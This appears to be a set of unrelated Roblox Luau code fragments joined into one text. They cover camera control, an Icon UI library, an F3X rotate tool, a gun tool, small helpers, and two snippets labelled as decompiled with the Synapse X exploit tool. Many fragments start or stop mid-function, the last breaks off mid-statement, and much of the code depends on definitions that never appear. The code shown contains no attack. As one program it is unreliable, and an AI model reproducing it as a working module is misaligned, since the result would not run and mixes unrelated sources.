Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25) if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(angle, 0) self.lastUserPanCamera = tick() self.lastCameraTransform = nil end end function BaseCamera:DoGamepadZoom(name, state, input) if input.UserInputType == self.activeGamepad then if input.KeyCode == Enum.KeyCode.ButtonR3 then if state == Enum.UserInputState.Begin then if self.distanceChangeEnabled then local dist = self:GetCameraToSubjectDistance() if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2) elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1) else self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3) end end end elseif input.KeyCode == Enum.KeyCode.DPadLeft then self.dpadLeftDown = (state == Enum.UserInputState.Begin) elseif input.KeyCode == Enum.KeyCode.DPadRight then self.dpadRightDown = (state == Enum.UserInputState.Begin) end if self.dpadLeftDown then self.currentZoomSpeed = 1.04 elseif self.dpadRightDown then self.currentZoomSpeed = 0.96 else self.currentZoomSpeed = 1.00 end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass
--[[ Divides a transparency value by a value, as if it were opacity. divideTransparency(0, 2) -> 0.5 divideTransparency(0.3, 2) -> 0.65 ]]
return function(transparency, divisor) return 1 - (1 - transparency) / divisor end
--This module is for any client FX related to the Double Tap Machine
local PowerBoxFX = {} local tweenService = game:GetService("TweenService") function PowerBoxFX.POWER_ON(powerBox) if not powerBox then return end local switchModel = powerBox:FindFirstChild("Switch") if not switchModel then return end local handle = switchModel.Handle local midPos = switchModel.Mid local topPos = switchModel.Up tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = midPos.CFrame}):Play() wait(0.11) tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = topPos.CFrame}):Play() end return PowerBoxFX
-- CORE UTILITY METHODS
function Icon:set(settingName, value, toggleState, setAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) -- Update the settings value if type(toggleState) == "string" then toggleState = toggleState:lower() end local previousValue = self:get(settingName, toggleState) local settingType = settingDetail.type if settingType == "toggleable" then local valuesToSet = {} if toggleState == "deselected" or toggleState == "selected" then table.insert(valuesToSet, toggleState) else table.insert(valuesToSet, "deselected") table.insert(valuesToSet, "selected") toggleState = nil end for i, v in pairs(valuesToSet) do settingDetail.values[v] = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..v] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..v] = previousValue end end else settingDetail.value = value if type(setAdditional) == "string" then if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous"] = previousValue end settingDetail.additionalValues[setAdditional] = previousValue end end -- Check previous and new are not the same if previousValue == value then return self, "Value was already set" end -- Update appearances of associated instances local currentToggleState = self:getToggleState() if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then self:_update(settingName, currentToggleState, true) end -- Call any methods present if settingDetail.callMethods then for _, callMethod in pairs(settingDetail.callMethods) do callMethod(self, value, toggleState) end end -- Call any signals present if settingDetail.callSignals then for _, callSignal in pairs(settingDetail.callSignals) do callSignal:Fire() end end return self end function Icon:get(settingName, toggleState, getAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local settingType = settingDetail.type if settingType == "toggleable" then toggleState = toggleState or self:getToggleState() local additionalValue = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState] return settingDetail.values[toggleState], additionalValue end local additionalValue = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional] return settingDetail.value, additionalValue end function Icon:getToggleState(isSelected) isSelected = isSelected or self.isSelected return (isSelected and "selected") or "deselected" end function Icon:_update(settingName, toggleState, applyInstantly) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) toggleState = toggleState or self:getToggleState() local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState]) if value == nil then return end local tweenInfo = (applyInstantly and TweenInfo.new(0)) or self._settings.action.toggleTransitionInfo.value local propertyName = settingDetail.propertyName local invalidPropertiesTypes = { ["string"] = true, ["NumberSequence"] = true, ["Text"] = true, ["EnumItem"] = true, ["ColorSequence"] = true, } local uniqueSetting = self._uniqueSettingsDictionary[settingName] for _, instanceName in pairs(settingDetail.instanceNames) do local instance = self.instances[instanceName] local propertyType = typeof(instance[propertyName]) local cannotTweenProperty = invalidPropertiesTypes[propertyType] if uniqueSetting then uniqueSetting(settingName, instance, propertyName, value) elseif cannotTweenProperty then instance[propertyName] = value else tweenService:Create(instance, tweenInfo, {[propertyName] = value}):Play() end -- if settingName == "iconSize" and instance[propertyName] ~= value then self.updated:Fire() end -- end end function Icon:_updateAll(toggleState, applyInstantly) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames then self:_update(settingName, toggleState, applyInstantly) end end end function Icon:_updateStateOverlay(transparency, color) local stateOverlay = self.instances.iconOverlay stateOverlay.BackgroundTransparency = transparency or 1 stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1) end function Icon:setTheme(theme, updateAfterSettingAll) self._updateAfterSettingAll = updateAfterSettingAll for settingsType, settingsDetails in pairs(theme) do if settingsType == "toggleable" then for settingName, settingValue in pairs(settingsDetails.deselected) do self:set(settingName, settingValue, "both") end for settingName, settingValue in pairs(settingsDetails.selected) do self:set(settingName, settingValue, "selected") end else for settingName, settingValue in pairs(settingsDetails) do self:set(settingName, settingValue) end end end self._updateAfterSettingAll = nil if updateAfterSettingAll then self:_updateAll() end return self end function Icon:setEnabled(bool) self.enabled = bool self.instances.iconContainer.Visible = bool self.updated:Fire() return self end function Icon:setName(string) self.name = string self.instances.iconContainer.Name = string return self end function Icon:_playClickSound() local clickSound = self.instances.clickSound if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then local clickSoundCopy = clickSound:Clone() clickSoundCopy.Parent = clickSound.Parent clickSoundCopy:Play() debris:AddItem(clickSoundCopy, clickSound.TimeLength) end end function Icon:select(byIcon) if self.locked then return self end self.isSelected = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.selected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:deselect(byIcon) if self.locked then return self end self.isSelected = false self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.deselected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:notify(clearNoticeEvent, noticeId) coroutine.wrap(function() if not clearNoticeEvent then clearNoticeEvent = self.deselected end if self._parentIcon then self._parentIcon:notify(clearNoticeEvent) end local notifComplete = Signal.new() local endEvent = self._endNotices:Connect(function() notifComplete:Fire() end) local customEvent = clearNoticeEvent:Connect(function() notifComplete:Fire() end) noticeId = noticeId or httpService:GenerateGUID(true) self.notices[noticeId] = { completeSignal = notifComplete, clearNoticeEvent = clearNoticeEvent, } self.totalNotices += 1 self:_updateNotice() self.notified:Fire(noticeId) notifComplete:Wait() endEvent:Disconnect() customEvent:Disconnect() notifComplete:Disconnect() self.totalNotices -= 1 self.notices[noticeId] = nil self:_updateNotice() end)() return self end function Icon:_updateNotice() local enabled = true if self.totalNotices < 1 then enabled = false end -- Deselect if not self.isSelected then if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then enabled = true end end -- Select if self.isSelected then if #self.dropdownIcons > 0 or #self.menuIcons > 0 then enabled = false end end local value = (enabled and 0) or 1 self:set("noticeImageTransparency", value) self:set("noticeTextTransparency", value) self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+" end function Icon:clearNotices() self._endNotices:Fire() return self end function Icon:disableStateOverlay(bool) if bool == nil then bool = true end local stateOverlay = self.instances.iconOverlay stateOverlay.Visible = not bool return self end
-- Removes the mirror copy of the provided -- object from the HeadMirrors table, if it -- is defined in there presently.
function FpsCamera:RemoveHeadMirror(desc) local mirror = self.HeadMirrors[desc] if mirror then mirror:Destroy() self.HeadMirrors[desc] = nil end end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { Name = "clear", Aliases = {}, Description = "Clear all lines above the entry line of the Cmdr window.", Group = "DefaultUtil", Args = {} }; local l__Players__1 = game:GetService("Players"); function v1.ClientRun() local l__Cmdr__2 = l__Players__1.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Cmdr"); local l__Frame__3 = l__Cmdr__2:WaitForChild("Frame"); if l__Cmdr__2 and l__Frame__3 then for v4, v5 in pairs(l__Frame__3:GetChildren()) do if v5.Name == "Line" and v5:IsA("TextBox") then v5:Destroy(); end; end; end; return ""; end; return v1;
--[[ Server Module --]]
local Settings = { --, not ; ? | server module!! BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961' ,Damage = {20, 50} ,OneHanded = false --DONT USE YET ,FakeArms = true ,FakeArmTransparency = 0 ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0) ,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0) } return Settings
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.cameraType = nil self.cameraMovementMode = nil self.lastCameraTransform = nil self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0, 5, 0) self.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.subjectStateChangedConn = nil self.gamepadZoomPressConnection = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) self:OnCurrentCameraChanged() if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end self:OnPlayerCameraPropertyChange() return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil if UserInputService.TouchEnabled then self.PlayerGui = player:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart(): BasePart if not self.humanoidRootPart then if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart -- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid if humanoid:GetState() == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character and character:IsA("Model") then return character:FindFirstChild("Head") or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectCFrame(): CFrame local result = self.lastSubjectCFrame local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return result end if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET local rootPart = humanoid.RootPart if bodyPartToFollow == rootPart then local rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2 heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset) end elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame elseif cameraSubject:IsA("Model") then -- Model subjects are expected to have a PrimaryPart to determine orientation if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame() else result = CFrame.new() end end if result then self.lastSubjectCFrame = result end return result end function BaseCamera:GetSubjectVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.Velocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.Velocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return primaryPart.Velocity end end return ZERO_VECTOR3 end function BaseCamera:GetSubjectRotVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.RotVelocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.RotVelocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return primaryPart.RotVelocity end end return ZERO_VECTOR3 end function BaseCamera:StepZoom() local zoom: number = self.currentSubjectDistance local zoomDelta: number = CameraInput.getZoomDelta() if math.abs(zoomDelta) > 0 then local newZoom if zoomDelta > 0 then newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD) else newZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN) end if newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then newZoom = FIRST_PERSON_DISTANCE_MIN end self:SetCameraToSubjectDistance(newZoom) end return ZoomController.GetZoomRadius() end function BaseCamera:GetSubjectPosition(): Vector3? local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET if bodyPartToFollow == humanoid.RootPart then local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2) heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return nil end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() if self.portraitMode then self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) else self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local l__PlayerGui__1 = service.PlayerGui; script.Parent.Parent.TextLabel.Position = UDim2.new(0, 0, 0, -40); gTable:Ready(); end;
-- Load additional libraries
while not _G.GetLibraries do wait() end Support, Cheer, Try = _G.GetLibraries( 'F3X/SupportLibrary@^1.0.0', 'F3X/Cheer@^0.0.0', 'F3X/Try@~1.0.0' );
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function RotateTool.Equip() -- Enables the tool's equipped functionality -- Set our current pivot mode SetPivot(RotateTool.Pivot); -- Start up our interface ShowUI(); BindShortcutKeys(); end; function RotateTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); HideHandles(); ClearConnections(); BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ClearConnection(ConnectionKey) -- Clears the given specific connection local Connection = Connections[ConnectionKey]; -- Disconnect the connection if it exists if Connections[ConnectionKey] then Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if RotateTool.UI then -- Reveal the UI RotateTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone(); RotateTool.UI.Parent = Core.UI; RotateTool.UI.Visible = true; -- Add functionality to the pivot option switch local PivotSwitch = RotateTool.UI.PivotOption; PivotSwitch.Center.Button.MouseButton1Down:connect(function () SetPivot('Center'); end); PivotSwitch.Local.Button.MouseButton1Down:connect(function () SetPivot('Local'); end); PivotSwitch.Last.Button.MouseButton1Down:connect(function () SetPivot('Last'); end); -- Add functionality to the increment input local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox; IncrementInput.FocusLost:connect(function (EnterPressed) RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment; IncrementInput.Text = Support.Round(RotateTool.Increment, 4); end); -- Add functionality to the rotation inputs local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox; local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox; XInput.FocusLost:connect(function (EnterPressed) local NewAngle = tonumber(XInput.Text); if NewAngle then SetAxisAngle('X', NewAngle); end; end); YInput.FocusLost:connect(function (EnterPressed) local NewAngle = tonumber(YInput.Text); if NewAngle then SetAxisAngle('Y', NewAngle); end; end); ZInput.FocusLost:connect(function (EnterPressed) local NewAngle = tonumber(ZInput.Text); if NewAngle then SetAxisAngle('Z', NewAngle); end; end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not RotateTool.UI then return; end; -- Hide the UI RotateTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not RotateTool.UI then return; end; -- Only show and calculate selection info if it's not empty if #Selection.Items == 0 then RotateTool.UI.Info.Visible = false; RotateTool.UI.Size = UDim2.new(0, 245, 0, 90); return; else RotateTool.UI.Info.Visible = true; RotateTool.UI.Size = UDim2.new(0, 245, 0, 150); end; ----------------------------------------- -- Update the size information indicators ----------------------------------------- -- Identify common angles across axes local XVariations, YVariations, ZVariations = {}, {}, {}; for _, Part in pairs(Selection.Items) do table.insert(XVariations, Support.Round(Part.Orientation.X, 3)); table.insert(YVariations, Support.Round(Part.Orientation.Y, 3)); table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3)); end; local CommonX = Support.IdentifyCommonItem(XVariations); local CommonY = Support.IdentifyCommonItem(YVariations); local CommonZ = Support.IdentifyCommonItem(ZVariations); -- Shortcuts to indicators local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox; local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox; -- Update each indicator if it's not currently being edited if not XIndicator:IsFocused() then XIndicator.Text = CommonX or '*'; end; if not YIndicator:IsFocused() then YIndicator.Text = CommonY or '*'; end; if not ZIndicator:IsFocused() then ZIndicator.Text = CommonZ or '*'; end; end; function SetPivot(PivotMode) -- Sets the given rotation pivot mode -- Update setting RotateTool.Pivot = PivotMode; -- Update the UI switch if RotateTool.UI then Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption); end; -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For center mode, use bounding box handles if PivotMode == 'Center' then BoundingBox.StartBoundingBox(AttachHandles); -- For local mode, use focused part handles elseif PivotMode == 'Local' then AttachHandles(Selection.Focus, true); -- For last mode, use focused part handles elseif PivotMode == 'Last' then AttachHandles(CustomPivotPoint and Handles.Adornee or Selection.Focus, true); end; end; function AttachHandles(Part, Autofocus) -- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part -- Enable autofocus if requested and not already on if Autofocus and not Connections.AutofocusHandle then Connections.AutofocusHandle = Selection.FocusChanged:connect(function () AttachHandles(Selection.Focus, true); end); -- Disable autofocus if not requested and on elseif not Autofocus and Connections.AutofocusHandle then ClearConnection 'AutofocusHandle'; end; -- Just attach and show the handles if they already exist if Handles then Handles.Adornee = Part; Handles.Visible = true; Handles.Parent = Part and Core.UIContainer or nil; return; end; -- Create the handles Handles = Create 'ArcHandles' { Name = 'BTRotationHandles'; Color = RotateTool.Color; Parent = Core.UIContainer; Adornee = Part; }; -------------------------------------------------------- -- Prepare for rotating parts when the handle is clicked -------------------------------------------------------- local AreaPermissions; Handles.MouseButton1Down:connect(function () -- Prevent selection Core.Targeting.CancelSelecting(); -- Indicate rotating via handle HandleRotating = true; -- Freeze bounding box extents while rotating if BoundingBox.GetBoundingBox() then InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Core.Selection.Items, BoundingBox.StaticExtents); BoundingBox.PauseMonitoring(); end; -- Stop parts from moving, and capture the initial state of the parts InitialState = PreparePartsForRotating(); -- Track the change TrackChange(); -- Cache area permissions information if Core.Mode == 'Tool' then AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player); end; -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then PivotPoint = BoundingBox.GetBoundingBox().CFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then PivotPoint = InitialState[Selection.Focus].CFrame; end; end); ------------------------------------------ -- Update parts when the handles are moved ------------------------------------------ Handles.MouseDrag:connect(function (Axis, Rotation) -- Only rotate if handle is enabled if not HandleRotating then return; end; -- Turn the rotation amount into degrees Rotation = math.deg(Rotation); -- Calculate the increment-aligned rotation amount Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360; -- Get displayable rotation delta local DisplayedRotation = GetHandleDisplayDelta(Rotation); -- Perform the rotation RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialState); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.CFrame = State.CFrame; end; -- Reset displayed rotation delta DisplayedRotation = 0; end; -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees'; end; end); end;
--[[** ensures value is a table and all keys pass keyCheck and all values pass valueCheck @param keyCheck The function to use to check the keys @param valueCheck The function to use to check the values @returns A function that will return true iff the condition is passed **--]]
function t.map(keyCheck, valueCheck) assert(t.callback(keyCheck)) assert(t.callback(valueCheck)) local keyChecker = t.keys(keyCheck) local valueChecker = t.values(valueCheck) return function(value) local keySuccess = keyChecker(value) if not keySuccess then return false end local valueSuccess = valueChecker(value) if not valueSuccess then return false end return true end end
--[[Member functions]]
function GunObject:Initialize() self.Fire=WaitForChild(self.Handle, 'Fire') self.Ammo = self.Tool:FindFirstChild("Ammo") if self.Ammo ~= nil then self.Ammo.Value = self.ClipSize end self.Clips = self.Tool:FindFirstChild("Clips") if self.Clips ~= nil then self.Clips.Value = self.StartingClips end self.Tool.Equipped:connect(function() self.Tool.Handle.Fire:Stop() self.Tool.Handle.Reload:Stop() end) self.Tool.Unequipped:connect(function() self.Tool.Handle.Fire:Stop() self.Tool.Handle.Reload:Stop() end) self.LaserObj = Instance.new("Part") self.LaserObj.Name = "Bullet" self.LaserObj.Anchored = true self.LaserObj.CanCollide = false self.LaserObj.Shape = "Block" self.LaserObj.formFactor = "Custom" self.LaserObj.Material = Enum.Material.Plastic self.LaserObj.Locked = true self.LaserObj.TopSurface = 0 self.LaserObj.BottomSurface = 0 local tSparkEffect = Instance.new("Part") tSparkEffect.Name = "Effect" tSparkEffect.Anchored = false tSparkEffect.CanCollide = false tSparkEffect.Shape = "Block" tSparkEffect.formFactor = "Custom" tSparkEffect.Material = Enum.Material.Plastic tSparkEffect.Locked = true tSparkEffect.TopSurface = 0 tSparkEffect.BottomSurface = 0 self.SparkEffect=tSparkEffect local tshell = Instance.new('Part') tshell.Name='effect' tshell.FormFactor='Custom' tshell.Size=Vector3.new(1, 0.4, 